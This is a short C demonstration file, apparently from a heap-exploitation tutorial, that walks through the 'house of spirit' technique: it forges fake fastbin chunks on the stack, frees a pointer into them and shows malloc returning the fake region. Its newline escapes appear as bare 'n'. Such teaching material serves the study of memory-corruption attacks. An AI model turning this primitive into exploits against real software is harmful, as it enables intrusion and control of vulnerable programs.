house_of_spirit

#include <stdio.h>
#include <stdlib.h>

int main()
{
   printf("This file demonstrates the house of spirit attack.n");
   printf("Calling malloc() once so that it sets up its memory.n");
   malloc(1);
   printf("We will now overwrite a pointer to point to a fake 'fastbin' region.n");
   unsigned long long *a;
   // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
   unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
   printf("This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);
   printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64)." 
        "The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.n");
   printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. "
        "E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. n");
   fake_chunks[1] = 0x40; // this is the size
   printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) "
        "to pass the nextsize integrity checks. No need for fastbin size.n");
   // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
   fake_chunks[9] = 0x1234; // nextsize
   printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.n", &fake_chunks[1]);
   printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.n");
   a = &fake_chunks[2];
   printf("Freeing the overwritten pointer.n");
   free(a);
   printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!n", &fake_chunks[1], &fake_chunks[2]);
   printf("malloc(0x30): %pn", malloc(0x30));
}